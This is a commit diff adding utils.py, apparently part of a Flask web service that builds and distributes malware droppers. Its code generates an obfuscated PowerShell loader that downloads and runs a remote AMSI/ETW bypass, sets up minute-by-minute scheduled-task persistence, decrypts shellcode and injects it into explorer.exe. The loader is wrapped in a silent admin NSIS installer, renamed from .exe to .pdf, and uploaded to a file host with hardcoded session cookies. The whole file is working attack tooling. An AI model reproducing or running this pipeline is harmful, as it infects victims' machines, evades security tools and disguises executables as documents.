Upload utils.py

utils.py

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+import os
+import subprocess
+import random
+import string
+from datetime import datetime
+from flask import jsonify, send_file, current_app
+import shutil
+import tempfile
+import requests
+import json
+#https://ambelo-benjamin.hf.space/upload
+BASE_DIR = os.path.abspath(os.path.dirname(__file__))
+UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
+COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
+NSIS_COMPILER = "makensis"
+OBFUSCATOR_SCRIPT = "Obfus\\main.ps1"
+
+SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send"
+HEADERS = {
+    "Host": "chiselapp.com",
+    "Connection": "keep-alive",
+    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr",
+    "sec-ch-ua-platform": '"Windows"',
+    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
+    "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
+    "sec-ch-ua-mobile": "?0",
+    "Accept": "*/*",
+    "Origin": "https://chiselapp.com",
+    "Sec-Fetch-Site": "same-origin",
+    "Sec-Fetch-Mode": "cors",
+    "Sec-Fetch-Dest": "empty",
+    "Referer": "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat",
+    "Accept-Encoding": "gzip, deflate, br, zstd",
+    "Accept-Language": "en-US,en;q=0.9,hi;q=0.8",
+    "Cookie": "fossil-9889a3796fb4c84c=0F6BFEC5A6792BA30BBCFC1F12F0E31772D58BD8F0B1CAE22E%2F9889a3796fb4c84c%2Fyolovi5126; PHPSESSID=7onhpb9ebdpja4nd20ulce9b63"
+}
+
+def generate_random_string(length=8):
+    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
+
+def obfuscate_powershell_script(ps1_path):
+    try:
+        cmd = f'powershell -EP Bypass -f "{OBFUSCATOR_SCRIPT}"'
+        process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+        process.stdin.write(f"{ps1_path}\n")
+        process.stdin.flush()
+        stdout, stderr = process.communicate()
+        if process.returncode != 0:
+            raise Exception(f"Error obfuscating PowerShell script: {stderr}")
+        obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
+        return obfuscated_file
+    except Exception as e:
+        raise Exception(f"Obfuscation failed: {str(e)}")
+
+def generate_nsi_script(folder_path, bin_file, ps1_file):
+    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+    installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
+
+    # NSIS script template
+    NSIS_SCRIPT_TEMPLATE = r"""
+    ; NeuraScope Insight Installer Script
+    !include "MUI2.nsh"
+    !include "LogicLib.nsh"
+    ; Basic definitions
+    Name "ProductName"
+    OutFile "{installer_output}"
+    InstallDir "$WINDIR\..\ProgramData\Installer"
+    RequestExecutionLevel admin
+    SetCompressor /SOLID lzma
+    SetCompressorDictSize 96
+    SetDatablockOptimize ON
+    ; Interface settings
+    !define MUI_ICON "C:\Users\Albert\Downloads\app.ico"
+    !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
+    !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
+    ; Pages
+    !insertmacro MUI_PAGE_WELCOME
+    !insertmacro MUI_PAGE_INSTFILES
+    !insertmacro MUI_LANGUAGE "English"
+    ; Basic Version Information
+    VIProductVersion "1.0.0.0"
+    VIAddVersionKey "ProductName" "ProductName"
+    VIAddVersionKey "CompanyName" "CompanyName"
+    VIAddVersionKey "LegalCopyright" "LegalCopyright"
+    VIAddVersionKey "FileVersion" "1.0.0.0"
+    VIAddVersionKey "FileDescription" "FileDescription"
+    ShowInstDetails hide
+    AutoCloseWindow true
+    Section "MainSection" SEC01
+        SetDetailsPrint none
+        SetOutPath "$WINDIR\..\ProgramData\Installer"
+        File "{bin_file}"
+        File "{ps1_file}"
+        ExecShell "" "$WINDIR\..\ProgramData\Installer\\Verification.ps1" SW_HIDE
+        SetAutoClose true
+    SectionEnd
+    """
+    
+    script_content = NSIS_SCRIPT_TEMPLATE.format(
+        installer_output=installer_output,
+        bin_file=bin_file,
+        ps1_file=ps1_file,
+    )
+    
+    nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
+    with open(nsi_file_path, 'w') as file:
+        file.write(script_content)
+    
+    return nsi_file_path, installer_output
+
+def compile_nsi_script(nsi_file_path):
+    try:
+        compile_cmd = [NSIS_COMPILER, nsi_file_path]
+        compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
+        if compile_result.returncode != 0:
+            raise Exception(f"NSIS Compile Error: {compile_result.stderr}")
+        return compile_result
+    except subprocess.CalledProcessError as e:
+        raise Exception(f"Compilation failed: {str(e)}")
+    except Exception as e:
+        raise Exception(f"Unexpected error during compilation: {str(e)}")
+
+def upload_file_to_server(file_path):
+    try:
+        # Rename the file to have a .pdf extension
+        new_file_path = file_path.replace('.exe', '.pdf')
+        os.rename(file_path, new_file_path)
+
+        # Ensure the file exists
+        if not os.path.exists(new_file_path):
+            raise FileNotFoundError(f"File {new_file_path} not found.")
+
+        # Prepare the file and data for upload
+        file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')}
+            # Additional form data
+        data = {
+            'lmtime': '2024-12-31T18:33:58'
+        }
+
+        # Send the POST request with file and form data
+        response = requests.post(SERVER_URL, headers=HEADERS, files=file, data=data)
+
+        # Check the response
+        if response.status_code == 200:
+            # Assuming the response contains the URL with the ID
+            json_file = 'file_info.json'
+
+            # Check if the file_info.json exists
+            if os.path.exists(json_file):
+                with open(json_file, 'r') as f:
+                    file_info = json.load(f)
+            else:
+                file_info = {}
+
+            # Initialize or increment the init_ID (last_id)
+            if 'init_ID' not in file_info:
+                file_info['init_ID'] = 1  # Start with ID 1 if not present
+            else:
+                file_info['init_ID'] += 1  # Increment the ID for the next upload
+
+            # Get the current ID to be used for the next upload
+            current_id = file_info['init_ID']
+
+            # Generate the download URL for the uploaded file using the current ID
+            download_url = f"https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-download/{current_id}/{os.path.basename(new_file_path)}"
+
+            # Update the JSON with the new entry for this upload
+            file_info[current_id] = {
+                'file_name': os.path.basename(new_file_path),
+                'url': download_url
+            }
+
+            # Write the updated file_info to the JSON file
+            with open(json_file, 'w') as f:
+                json.dump(file_info, f, indent=4)
+
+            return download_url
+        else:
+            raise Exception(f"Failed to send request. Status Code: {response.status_code}\n{response.text}")
+    except Exception as e:
+        raise Exception(f"File upload failed: {str(e)}")
+
+def process_request(request):
+    temp_dir = None  # Initialize temp_dir to be used in the finally block
+    try:
+        # Save the incoming binary file
+        if 'file' not in request.files:
+            raise ValueError("No file part in the request")
+        
+        file = request.files['file']
+        if file.filename == '':
+            raise ValueError("No selected file")
+
+        random_folder = generate_random_string()
+        temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER)
+        bin_path = os.path.join(temp_dir, file.filename)
+        file.save(bin_path)
+
+        # Extract the file name from the full binary path
+        bin_file_name = os.path.basename(bin_path)
+
+        # Create the PowerShell script with the provided content
+        ps1_content = f'''
+# Download and execute the script from the provided URL
+iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/Null-AMSI/refs/heads/main/Invoke-NullAMSI.ps1)
+
+# Run the Invoke-NullAMSI command
+Invoke-NullAMSI
+
+Invoke-NullAMSI -etw
+
+# Define the content of the VBScript
+$vbsContent = @'
+Set objShell = CreateObject("WScript.Shell")
+objShell.Run "powershell -EP Bypass -File \\"C:\\ProgramData\\Installer\\Verification.ps1\\"", 0, True
+'@
+
+# Define the file path for the .vbs file in the desired location
+$vbsFilePath = "C:\\ProgramData\\Installer\\0.vbs"
+
+# Write the content to the .vbs file
+$vbsContent | Set-Content -Path $vbsFilePath -Encoding ASCII
+
+Write-Host "VBScript file created at: $vbsFilePath"
+
+$Action = New-ScheduledTaskAction -Execute "C:\\ProgramData\\Installer\\0.vbs"
+$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
+Register-ScheduledTask -TaskName "HiPPo Setting" -Action $Action -Trigger $Trigger -Force
+
+# Define a fixed 16-byte key for encryption (fixed key as "MyFixedEncryptionKey")
+$keyBytes = [System.Text.Encoding]::UTF8.GetBytes("MyFixedEncryptionKey")
+
+# Ensure the key length is 16 bytes (AES requires 16, 24, or 32 bytes)
+if ($keyBytes.Length -gt 16) {{
+    $keyBytes = $keyBytes[0..15]  # Trim the key to 16 bytes if it's longer
+}}
+elseif ($keyBytes.Length -lt 16) {{
+    # If the key is too short, pad it with zeros to make it 16 bytes
+    $keyBytes = $keyBytes + (New-Object Byte[] (16 - $keyBytes.Length))
+}}
+
+# Function to download the encrypted binary from the server
+function Download-EncryptedShellcode {{
+    param([string]$url)
+    # Download the encrypted binary file directly into memory as a byte array
+    $response = Invoke-WebRequest -Uri $url -UseBasicParsing
+    return $response.Content
+}}
+
+# Read the encrypted shellcode from a local binary file
+$encryptedBuf = [System.IO.File]::ReadAllBytes("C:\\ProgramData\\Installer\\{bin_file_name}")
+
+# Create an AES encryption object
+$aes = [System.Security.Cryptography.Aes]::Create()
+
+# Set the decryption key and initialization vector (IV)
+$aes.Key = $keyBytes
+$aes.IV = $keyBytes[0..15]  # Use the first 16 bytes of the key for the IV
+
+# Create a memory stream to hold the decrypted data
+$memoryStream = New-Object System.IO.MemoryStream
+$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
+
+# Decrypt the encrypted data into the memory stream
+$cryptoStream.Write($encryptedBuf, 0, $encryptedBuf.Length)
+$cryptoStream.Close()
+
+# Get the decrypted shellcode
+$buf = $memoryStream.ToArray()
+
+# Anti-debugging mechanism
+function IsDebuggerPresent {{
+    $IsDebuggerPresentCode = @"
+    using System;
+    using System.Runtime.InteropServices;
+
+    public class DebugHelper {{
+        [DllImport(\\"kernel32.dll\\")]
+        public static extern bool IsDebuggerPresent();
+    }}
+"@
+    $debugHelper = Add-Type -TypeDefinition $IsDebuggerPresentCode -PassThru
+    return $debugHelper::IsDebuggerPresent()
+}}
+
+if (IsDebuggerPresent) {{
+    Write-Host "Debugger detected. Exiting."
+    exit
+}}
+
+# Inject shellcode into a target process (example: explorer.exe)
+$Win32APICode = @"
+using System;
+using System.Runtime.InteropServices;
+
+public class Win32API {{
+    [DllImport(\\"kernel32.dll\\", SetLastError = true, ExactSpelling = true)]
+    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+
+    [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
+
+    [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
+
+    [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
+
+    [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+    [return: MarshalAs(UnmanagedType.Bool)]
+    public static extern bool CloseHandle(IntPtr hObject);
+}}
+"@
+$win32api = Add-Type -TypeDefinition $Win32APICode -PassThru
+
+# Target process (explorer.exe) injection
+$targetProcess = Get-Process explorer | Select-Object -First 1
+$processHandle = $win32api::OpenProcess(0x1F0FFF, $false, $targetProcess.Id)
+
+# Allocate memory in the target process
+$size = 0x1000
+if ($buf.Length -gt $size) {{ $size = $buf.Length }}
+$remoteMemory = $win32api::VirtualAllocEx($processHandle, [IntPtr]::Zero, $size, 0x3000, 0x40)
+
+# Write the shellcode into the allocated memory
+$bytesWritten = [IntPtr]::Zero
+$win32api::WriteProcessMemory($processHandle, $remoteMemory, $buf, $buf.Length, [ref]$bytesWritten)
+
+# Create a remote thread to execute the shellcode
+$threadId = [IntPtr]::Zero
+$win32api::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $remoteMemory, [IntPtr]::Zero, 0, [ref]$threadId)
+
+# Close the process handle
+$win32api::CloseHandle($processHandle)
+
+Write-Host "Shellcode injection completed successfully."
+'''
+        ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
+        with open(ps1_path, 'w') as ps1_file:
+            ps1_file.write(ps1_content)
+
+        # Obfuscate the PowerShell script
+        obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
+
+        # Rename the obfuscated file to Verification.ps1
+        verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
+        os.rename(obfuscated_ps1_path, verification_ps1_path)
+
+        # Generate and compile the NSIS script
+        nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
+        compile_nsi_script(nsi_file_path)
+
+        # Upload the resulting EXE file (renamed to PDF) to the server
+        download_url = upload_file_to_server(installer_output)
+
+        # Return the download URL in the response
+        return jsonify({"download_url": download_url})
+
+    except Exception as e:
+        current_app.logger.error(f"An error occurred: {str(e)}")
+        return jsonify({"error": str(e)}), 500
+    finally:
+        # Clean up temporary directories and files
+        if temp_dir and os.path.exists(temp_dir):
+            shutil.rmtree(temp_dir, ignore_errors=True)